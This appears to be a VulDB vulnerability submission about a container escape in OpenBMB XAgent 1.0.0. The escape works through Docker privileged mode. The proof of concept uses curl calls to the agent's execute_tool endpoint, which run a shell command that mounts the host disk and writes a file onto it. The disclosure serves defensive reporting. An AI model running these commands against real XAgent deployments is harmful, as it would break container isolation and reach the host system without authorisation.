| 标题 | OpenBMB XAgent v1.0.0 Container Escapes |
|---|
| 描述 | Docker Enabling Privileged Mode Causes Container Escapes.
1. Installation and startup XAgent (https://github.com/OpenBMB/XAgent)
```bash
git clone https://github.com/OpenBMB/XAgent.git
docker-compose up -d
```
2. Creating Tool Container
```bash
curl -v --request POST 'http://localhost:8080/get_cookie'
...
< HTTP/1.1 200 OK
...
< set-cookie: node_id=6c2429b55a6e6xxxxxxxxxxx; Path=/; SameSite=lax
...
```
Extract container ID: set-cookie: node_id=6c2429b55a6e6xxxxxxxxxxx;
3. Execute malicious command escape container
```
curl --request POST 'http://localhost:8080/execute_tool' --header 'Cookie: node_id={{Container ID}}' --header 'Content-Type: application/json' --data \
'{
"tool_name":"shell_command_executor",
"arguments":{"command":"mkdir test; mount /dev/sda1 test; echo hello > test/hello.txt"}
}'
```
The file created in containers on the host: `cat /boot/hello.txt`. |
|---|
| 来源 | ⚠️ https://github.com/OpenBMB/XAgent/issues/386 |
|---|
| 用户 | zznQ (UID 64000) |
|---|
| 提交 | 2024-02-19 10時35分 (2 年前) |
|---|
| 管理 | 2024-02-29 14時24分 (10 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 255265 [OpenBMB XAgent 1.0.0 Privileged Mode 权限提升] |
|---|
| 积分 | 20 |
|---|